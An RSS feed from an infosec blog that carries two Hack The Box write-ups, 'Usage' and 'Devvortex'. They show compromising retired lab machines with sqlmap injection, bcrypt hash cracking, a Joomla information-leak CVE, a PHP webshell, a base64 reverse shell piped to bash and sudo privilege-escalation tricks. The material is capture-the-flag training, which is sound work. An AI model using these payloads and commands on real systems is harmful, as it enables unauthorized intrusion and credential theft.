<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>0x2501</title>
    <link>https://infosec.press/0x2501/</link>
    <description></description>
    <pubDate>Wed, 22 Apr 2026 11:34:29 +0000</pubDate>
    <item>
      <title>Writeup: HtB - Usage</title>
      <link>https://infosec.press/0x2501/writeup-htb-usage</link>
      <description>&lt;![CDATA[Intro&#xA;Usage is a retired easy rated box on hackthebox. It features blind SQL injection, the exploitation of a vulnerable laravel plugin, hash cracking and wildcard spares.&#xA;&#xA;Walkthrough&#xA;&#xA;I started with a portscan.&#xA;22/tcp open ssh&#xA;80/tcp open http&#xA;&#xA;The webserver redirects to usage.htb which I add to /etc/hosts. I then started a subdomain enumeration using ffuf.&#xA;&#xA;ffuf -u &#39;http://usage.htb&#39; -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H &#34;Host: FUZZ.usage.htb&#34; --fw 6&#xA;&#xA;        /&#39;\  /&#39;\           /&#39;\       &#xA;       /\ \/ /\ \/      /\ \/       &#xA;       \ \ ,\\ \ ,\/\ \/\ \ \ \ ,\      &#xA;        \ \ \/ \ \ \/\ \ \\ \ \ \ \/      &#xA;         \ \\   \ \\  \ \__/  \ \\       &#xA;          \//    \//   \/__/    \//       &#xA;&#xA;       v2.1.0-dev&#xA;_____________________________________________&#xA;&#xA; :: Method           : GET&#xA; :: URL              : http://usage.htb&#xA; :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt&#xA; :: Header           : Host: FUZZ.usage.htb&#xA; :: Follow redirects : false&#xA; :: Calibration      : false&#xA; :: Timeout          : 10&#xA; :: Threads          : 40&#xA; :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500&#xA; :: Filter           : Response words: 6&#xA;____________________________________________&#xA;&#xA;admin                   [Status: 200, Size: 3304, Words: 493, Lines: 89, Duration: 52ms]&#xA;:: Progress: [4989/4989] :: Job [1/1] :: 909 req/sec :: Duration: [0:00:02] :: Errors: 0 ::&#xA;&#xA;I get a hit on admin and add admin.usage.htb to /etc/hosts.&#xA;&#xA;Having done some automatic enumeration, I start having a look at the base domain. I tested the account creation form for some basic sql injection, mainly just inputting single quotes - nothing there. I then created an account and tested the /forgot-password endpoint for some basic injection techniques. Inputting a &#39; returns a 500 - Internal Server Error which made be believe to have found a blind SQL injection. &#xA;&#xA;I intercepted the request with Burp Suite, saved it to a file and then ran sqlmap using that request.&#xA;&#xA;sqlmap -r forgotpass.req&#xA;&#xA;This gained me the following information:&#xA;Backend: MySQL   5.0.12&#xA;Blind Injectable&#xA;8 Columns&#xA;&#xA;Which is not that much but a start, especially considering that I just ran a tool. It&#39;s also a really good idea to RTFM, which leads to the following chain of commands (This takes a  while to run!).&#xA;&#xA;I first enumerated the used database, which gets me usageblog.&#xA;sqlmap -r forgotpass.req --dbms=mysql --level 5 --risk 3 --technique BUT -v 7 --batch -p email -current-db&#xA;&#xA;I then enumerated all tables, which gets me adminusers as an interesting table.&#xA;sqlmap -r forgotpass.req --dbms=mysql --level 5 --risk 3 --technique BUT -v 7 --batch -p email -D usageblog --tables &#xA;&#xA;I then dump the table adminusers.&#xA;sqlmap -r forgotpass.req --dbms=mysql --level 5 --risk 3 --technique BUT -v 7 --batch -p email -D usageblog -T adminusers --dump&#xA;&#xA;This gained me the following entry $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2,admin&#xA;&#xA;Taking a look at the hashcat example hashes page or using a script like hashid shows, that it&#39;s a bcrypt hash.&#xA;&#xA;hashcat -m 3200 admindbhash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt&#xA;&#xA;This gains admin:whatever1 which I used to login into the web application.&#xA;&#xA;The only thing that looked kind of interesting was the ability to upload a profile picture. I did some research on the displayed packages which lead me to CVE-2023-24249. &#xA;&#xA;I used Burp Suite to proxy my requests and just followed the PoC. I had to activate the Option Follow Redirects in the Repeater Tab. Using the uploaded webshell can be a bit tricky because theres a cleanup script running which deletes the shell.&#xA;&#xA;I am now logged in as dash, which gains me the user flag. The file .monitrc kind of sticks out. Having a look at the file I gain another set of credentials: admin:3nc0d3d_pa$$w0rd. I then looked for other users on that box.&#xA;&#xA;cat /etc/passwd | grep -e &#34;$sh&#34;&#xA;&#xA;Another user is xander. I tried using the pillaged password to login as xander, which worked.&#xA;&#xA;Executing sudo -l shows that xander is allowd to run exactly one binary as root. One function of this binary is backing up the website. It uses 7zip to do so, which I can exploit.&#xA;&#xA;Create the file @root.txt in /var/www/html&#xA;Create a symlink ln -s -r /root/root.txt root.txt in /var/www/html&#xA;Execute the application. It will now output the root flag.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<h2 id="intro">Intro</h2>

<p>Usage is a retired easy rated box on hackthebox. It features blind SQL injection, the exploitation of a vulnerable laravel plugin, hash cracking and wildcard spares.</p>

<h2 id="walkthrough">Walkthrough</h2>

<p>I started with a portscan.</p>

<pre><code class="language-bash">22/tcp open ssh
80/tcp open http
</code></pre>

<p>The webserver redirects to usage.htb which I add to /etc/hosts. I then started a subdomain enumeration using ffuf.</p>

<pre><code class="language-bash">ffuf -u &#39;http://usage.htb&#39; -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H &#34;Host: FUZZ.usage.htb&#34; --fw 6

        /&#39;___\  /&#39;___\           /&#39;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://usage.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.usage.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 6
________________________________________________

admin                   [Status: 200, Size: 3304, Words: 493, Lines: 89, Duration: 52ms]
:: Progress: [4989/4989] :: Job [1/1] :: 909 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
</code></pre>

<p>I get a hit on admin and add admin.usage.htb to /etc/hosts.</p>

<p>Having done some automatic enumeration, I start having a look at the base domain. I tested the account creation form for some basic sql injection, mainly just inputting single quotes – nothing there. I then created an account and tested the /forgot-password endpoint for some basic injection techniques. Inputting a <code>&#39;</code> returns a 500 – Internal Server Error which made be believe to have found a blind SQL injection.</p>

<p>I intercepted the request with Burp Suite, saved it to a file and then ran sqlmap using that request.</p>

<pre><code class="language-bash">sqlmap -r forgot_pass.req
</code></pre>

<p>This gained me the following information:
– Backend: MySQL &gt; 5.0.12
– Blind Injectable
– 8 Columns</p>

<p>Which is not <em>that</em> much but a start, especially considering that I just ran a tool. It&#39;s also a <em>really</em> good idea to RTFM, which leads to the following chain of commands (This takes a  while to run!).</p>

<p>I first enumerated the used database, which gets me <code>usage_blog</code>.</p>

<pre><code class="language-bash">sqlmap -r forgot_pass.req --dbms=mysql --level 5 --risk 3 --technique BUT -v 7 --batch -p email -current-db
</code></pre>

<p>I then enumerated all tables, which gets me <code>admin_users</code> as an interesting table.</p>

<pre><code class="language-bash">sqlmap -r forgot_pass.req --dbms=mysql --level 5 --risk 3 --technique BUT -v 7 --batch -p email -D usage_blog --tables 
</code></pre>

<p>I then dump the table <code>admin_users</code>.</p>

<pre><code class="language-bash">sqlmap -r forgot_pass.req --dbms=mysql --level 5 --risk 3 --technique BUT -v 7 --batch -p email -D usage_blog -T admin_users --dump
</code></pre>

<p>This gained me the following entry <code>$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2,admin</code></p>

<p>Taking a look at the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes" rel="nofollow">hashcat example hashes page</a> or using a script like hashid shows, that it&#39;s a bcrypt hash.</p>

<pre><code class="language-bash">hashcat -m 3200 admin_db_hash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
</code></pre>

<p>This gains admin:whatever1 which I used to login into the web application.</p>

<p>The only thing that looked kind of interesting was the ability to upload a profile picture. I did some research on the displayed packages which lead me to <a href="https://security.snyk.io/vuln/SNYK-PHP-ENCORELARAVELADMIN-3333096" rel="nofollow">CVE-2023-24249</a>.</p>

<p>I used Burp Suite to proxy my requests and just followed the PoC. I had to activate the Option Follow Redirects in the Repeater Tab. Using the uploaded webshell can be a bit tricky because theres a cleanup script running which deletes the shell.</p>

<p>I am now logged in as dash, which gains me the user flag. The file .monitrc kind of sticks out. Having a look at the file I gain another set of credentials: admin:3nc0d3d_pa$$w0rd. I then looked for other users on that box.</p>

<pre><code class="language-bash">cat /etc/passwd | grep -e &#34;$sh&#34;
</code></pre>

<p>Another user is xander. I tried using the pillaged password to login as xander, which worked.</p>

<p>Executing sudo -l shows that xander is allowd to run exactly one binary as root. One function of this binary is backing up the website. It uses 7zip to do so, which I can <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks" rel="nofollow">exploit</a>.</p>
<ol><li>Create the file @root.txt in /var/www/html</li>
<li>Create a symlink <code>ln -s -r /root/root.txt root.txt</code> in /var/www/html</li>
<li>Execute the application. It will now output the root flag.</li></ol>
]]></content:encoded>
      <guid>https://infosec.press/0x2501/writeup-htb-usage</guid>
      <pubDate>Sat, 10 Aug 2024 18:35:17 +0000</pubDate>
    </item>
    <item>
      <title>Writeup: HtB - Devvortex</title>
      <link>https://infosec.press/0x2501/writeup-htb-devvortex</link>
      <description>&lt;![CDATA[Intro &#xA;Devvortex is a retired, easy rated box on hackthebox. It features exploitation of a content management system, hash cracking and exploiting an application to escalate privileges on a linux machine.&#xA;&#xA;Walktrough&#xA;Enumeration&#xA;Let&#39;s start with an nmap scan.&#xA;22 open ssh&#xA;80 open http&#xA;Accessing the webserver at port 80 redirects us to devvortex.htb, so let&#39;s add this one to /etc/hosts/. The site doesn&#39;t look too interesting. Maybe there are other sites hosted here.&#xA;&#xA;Using ffuf to enumerate other sites:&#xA;ffuf -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H &#39;Host: FUZZ.devvortex.htb&#39; --fw 4&#xA;We get a hit on dev.devvortex.htb, so let&#39;s add that to our hosts file. &#xA;&#xA;Before starting any sort of manual enumeration, let&#39;s fuzz for some interesting endpoints:&#xA;&#xA;ffuf -u http://dev.devvortex.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt --fs 162&#xA;&#xA;We get a hit on /administrator. Navigating to that endpoint shows that Joomla is used as a CMS. A way to enumerate the Joomlas version is accessing the joomla.xml file, which is usually atadministrator/manifests/files/joomla.xml Acessing this file, shows that Joomla version 4.2.6 is running.&#xA;&#xA;Conducting a quick search, we find out that this version is vulnerable to CVE-2023-23752 for which public exploits exist.&#xA;&#xA;Exploiting a vulnerable Joomla version&#xA;Let&#39;s have a quick look at the exploit:&#xA;[...]&#xA;def fetchusers(rooturl, http)&#xA;  vulnurl = &#34;#{rooturl}/api/index.php/v1/users?public=true&#34;&#xA;  http.get(vulnurl)&#xA;end&#xA;[...]&#xA;def fetchconfig(rooturl, http)&#xA;  vulnurl = &#34;#{rooturl}/api/index.php/v1/config/application?public=true&#34;&#xA;  http.get(vulnurl)&#xA;end&#xA;[...]&#xA;&#xA;Seems like we just have to access these endpoints.&#xA;&#xA;curl -s http://dev.devvortex.htb/api/index.php/v1/users?public=true | jq&#xA;[...]&#xA;  &#34;data&#34;: [&#xA;    {&#xA;      &#34;type&#34;: &#34;users&#34;,&#xA;      &#34;id&#34;: &#34;649&#34;,&#xA;      &#34;attributes&#34;: {&#xA;        &#34;id&#34;: 649,&#xA;        &#34;name&#34;: &#34;lewis&#34;,&#xA;        &#34;username&#34;: &#34;lewis&#34;,&#xA;        &#34;email&#34;: &#34;lewis@devvortex.htb&#34;,&#xA;        &#34;block&#34;: 0,&#xA;        &#34;sendEmail&#34;: 1,&#xA;        &#34;registerDate&#34;: &#34;2023-09-25 16:44:24&#34;,&#xA;        &#34;lastvisitDate&#34;: &#34;2023-10-29 16:18:50&#34;,&#xA;        &#34;lastResetTime&#34;: null,&#xA;        &#34;resetCount&#34;: 0,&#xA;        &#34;groupcount&#34;: 1,&#xA;        &#34;groupnames&#34;: &#34;Super Users&#34;&#xA;      }&#xA;    },&#xA;[...]&#xA;&#xA;curl -s http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq&#xA;[...]&#xA;    {&#xA;      &#34;type&#34;: &#34;application&#34;,&#xA;      &#34;id&#34;: &#34;224&#34;,&#xA;      &#34;attributes&#34;: {&#xA;        &#34;user&#34;: &#34;lewis&#34;,&#xA;        &#34;id&#34;: 224&#xA;      }&#xA;    },&#xA;    {&#xA;      &#34;type&#34;: &#34;application&#34;,&#xA;      &#34;id&#34;: &#34;224&#34;,&#xA;      &#34;attributes&#34;: {&#xA;        &#34;password&#34;: &#34;P4ntherg0t1n5r3c0n##&#34;,&#xA;        &#34;id&#34;: 224&#xA;      }&#xA;[...]&#xA;I only included the interesting bits.&#xA;Using the leaked credentials we are able to login.&#xA;&#xA;Gaining RCE on the box&#xA;As an admin we can add code to various templates. I decided to add a webshell to error.php and then use it to gain a reverse shell.&#xA;&#xA;Webshell:&#xA;?php echo Text::(system($GET[&#39;cmd&#39;])); ?&#xA;Accessing the webshell:&#xA;http://dev.devvortex.htb/media/templates/site/cassiopeia/js/main.js?cmd=$COMMAND&#xA;&#xA;Reverse Shell&#xA;echo &#34;$base64encodedreverseshell&#34; | base64 -d | bash&#xA;&#xA;Host Enumeration&#xA;We can already assume that some sort of database is running, but let&#39;s confirm this by running netstat -tulnp. This shows that a database service is listening on it&#39;s default port. We can connect to it by using lewis&#39; credentials. Then just dump the user table.&#xA;&#xA;Dumping Credentials and cracking hashes&#xA;mysql  select * from sd4fgusers;&#xA;&#xA;lewis:$2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u&#xA;logan:$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12&#xA;Let&#39;s check if a user named logan exists on this box, grep logan /etc/passwd. Logan is a user on this machine.&#xA;&#xA;I decided to use john to crack Logans hash.&#xA;john --format=bcrypt hash --wordlist=/usr/share/wordlists/rockyou.txt&#xA;Using default input encoding: UTF-8&#xA;Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])&#xA;Cost 1 (iteration count) is 1024 for all loaded hashes&#xA;Will run 4 OpenMP threads&#xA;Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status&#xA;&#xA;tequieromucho    (?)    &#xA;&#xA;1g 0:00:00:05 DONE (2024-04-13 16:24) 0.1992g/s 279.6p/s 279.6c/s 279.6C/s lacoste..harry&#xA;Use the &#34;--show&#34; option to display all of the cracked passwords reliably&#xA;Session completed.&#xA;This gains us logan:tequieromucho.&#xA;&#xA;User Enumeration&#xA;Running sudo -l shows that logan is allowed to run apport-cli using sudo.  A quick search on howto abuse this, shows that we might be able to abuse CVE-2023-1326 to gain root privileges.&#xA;&#xA;I just wanted to be sure that apport doesn&#39;t crash or something so I first generated a valid crash report.&#xA;sudo /usr/bin/apport-cli -f --pid 17932 --save /var/crash/ex.crash &amp;&amp; &#xA;sudo /usr/bin/apport-cli -c /var/crash/ex.crash&#xA;!/bin/bash&#xA;We are now root.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<h2 id="intro">Intro</h2>

<p>Devvortex is a retired, easy rated box on hackthebox. It features exploitation of a content management system, hash cracking and exploiting an application to escalate privileges on a linux machine.</p>

<h2 id="walktrough">Walktrough</h2>

<h3 id="enumeration">Enumeration</h3>

<p>Let&#39;s start with an nmap scan.</p>

<pre><code class="language-bash">22 open ssh
80 open http
</code></pre>

<p>Accessing the webserver at port 80 redirects us to devvortex.htb, so let&#39;s add this one to /etc/hosts/. The site doesn&#39;t look too interesting. Maybe there are other sites hosted here.</p>

<p>Using ffuf to enumerate other sites:</p>

<pre><code class="language-bash">ffuf -u http://devvortex.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H &#39;Host: FUZZ.devvortex.htb&#39; --fw 4
</code></pre>

<p>We get a hit on <code>dev.devvortex.htb</code>, so let&#39;s add that to our hosts file.</p>

<p>Before starting any sort of manual enumeration, let&#39;s fuzz for some interesting endpoints:</p>

<pre><code class="language-bash">ffuf -u http://dev.devvortex.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt --fs 162
</code></pre>

<p>We get a hit on /administrator. Navigating to that endpoint shows that Joomla is used as a CMS. A way to enumerate the Joomlas version is accessing the joomla.xml file, which is usually at<code>administrator/manifests/files/joomla.xml</code> Acessing this file, shows that Joomla version 4.2.6 is running.</p>

<p>Conducting a quick search, we find out that this version is vulnerable to <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-23752" rel="nofollow">CVE-2023-23752</a> for which <a href="https://github.com/Acceis/exploit-CVE-2023-23752" rel="nofollow">public exploits</a> exist.</p>

<h3 id="exploiting-a-vulnerable-joomla-version">Exploiting a vulnerable Joomla version</h3>

<p>Let&#39;s have a quick look at the exploit:</p>

<pre><code class="language-ruby">[...]
def fetch_users(root_url, http)
  vuln_url = &#34;#{root_url}/api/index.php/v1/users?public=true&#34;
  http.get(vuln_url)
end
[...]
def fetch_config(root_url, http)
  vuln_url = &#34;#{root_url}/api/index.php/v1/config/application?public=true&#34;
  http.get(vuln_url)
end
[...]
</code></pre>

<p>Seems like we just have to access these endpoints.</p>

<pre><code class="language-bash">curl -s http://dev.devvortex.htb/api/index.php/v1/users?public=true | jq
[...]
  &#34;data&#34;: [
    {
      &#34;type&#34;: &#34;users&#34;,
      &#34;id&#34;: &#34;649&#34;,
      &#34;attributes&#34;: {
        &#34;id&#34;: 649,
        &#34;name&#34;: &#34;lewis&#34;,
        &#34;username&#34;: &#34;lewis&#34;,
        &#34;email&#34;: &#34;lewis@devvortex.htb&#34;,
        &#34;block&#34;: 0,
        &#34;sendEmail&#34;: 1,
        &#34;registerDate&#34;: &#34;2023-09-25 16:44:24&#34;,
        &#34;lastvisitDate&#34;: &#34;2023-10-29 16:18:50&#34;,
        &#34;lastResetTime&#34;: null,
        &#34;resetCount&#34;: 0,
        &#34;group_count&#34;: 1,
        &#34;group_names&#34;: &#34;Super Users&#34;
      }
    },
[...]
</code></pre>

<pre><code class="language-bash">curl -s http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq
[...]
    {
      &#34;type&#34;: &#34;application&#34;,
      &#34;id&#34;: &#34;224&#34;,
      &#34;attributes&#34;: {
        &#34;user&#34;: &#34;lewis&#34;,
        &#34;id&#34;: 224
      }
    },
    {
      &#34;type&#34;: &#34;application&#34;,
      &#34;id&#34;: &#34;224&#34;,
      &#34;attributes&#34;: {
        &#34;password&#34;: &#34;P4ntherg0t1n5r3c0n##&#34;,
        &#34;id&#34;: 224
      }
[...]
</code></pre>

<p><em>I only included the interesting bits.</em>
Using the leaked credentials we are able to login.</p>

<h3 id="gaining-rce-on-the-box">Gaining RCE on the box</h3>

<p>As an admin we can add code to various templates. I decided to add a webshell to error.php and then use it to gain a reverse shell.</p>

<p>Webshell:</p>

<pre><code class="language-php">&lt;?php echo Text::_(system($_GET[&#39;cmd&#39;])); ?&gt;
</code></pre>

<p>Accessing the webshell:
<a href="http://dev.devvortex.htb/media/templates/site/cassiopeia/js/main.js?cmd=$COMMAND" rel="nofollow">http://dev.devvortex.htb/media/templates/site/cassiopeia/js/main.js?cmd=$COMMAND</a></p>

<p>Reverse Shell</p>

<pre><code>echo &#34;$base64_encoded_reverse_shell&#34; | base64 -d | bash
</code></pre>

<h3 id="host-enumeration">Host Enumeration</h3>

<p>We can already assume that some sort of database is running, but let&#39;s confirm this by running <code>netstat -tulnp</code>. This shows that a database service is listening on it&#39;s default port. We can connect to it by using lewis&#39; credentials. Then just dump the user table.</p>

<h3 id="dumping-credentials-and-cracking-hashes">Dumping Credentials and cracking hashes</h3>

<pre><code class="language-bash">mysql&gt; select * from sd4fg_users;

lewis:$2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan:$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
</code></pre>

<p>Let&#39;s check if a user named logan exists on this box, <code>grep logan /etc/passwd</code>. Logan is a user on this machine.</p>

<p>I decided to use john to crack Logans hash.</p>

<pre><code class="language-bash">john --format=bcrypt hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status

tequieromucho    (?)    

1g 0:00:00:05 DONE (2024-04-13 16:24) 0.1992g/s 279.6p/s 279.6c/s 279.6C/s lacoste..harry
Use the &#34;--show&#34; option to display all of the cracked passwords reliably
Session completed.
</code></pre>

<p>This gains us logan:tequieromucho.</p>

<h3 id="user-enumeration">User Enumeration</h3>

<p>Running sudo -l shows that logan is allowed to run apport-cli using sudo.  A quick search on howto abuse this, shows that we might be able to abuse <a href="https://github.com/diego-tella/CVE-2023-1326-PoC" rel="nofollow">CVE-2023-1326</a> to gain root privileges.</p>

<p>I just wanted to be sure that apport doesn&#39;t crash or something so I first generated a valid crash report.</p>

<pre><code class="language-bash">sudo /usr/bin/apport-cli -f --pid 17932 --save /var/crash/ex.crash &amp;&amp; 
sudo /usr/bin/apport-cli -c /var/crash/ex.crash
!/bin/bash
</code></pre>

<p>We are now root.</p>
]]></content:encoded>
      <guid>https://infosec.press/0x2501/writeup-htb-devvortex</guid>
      <pubDate>Sun, 04 Aug 2024 09:29:33 +0000</pubDate>
    </item>
  </channel>
</rss>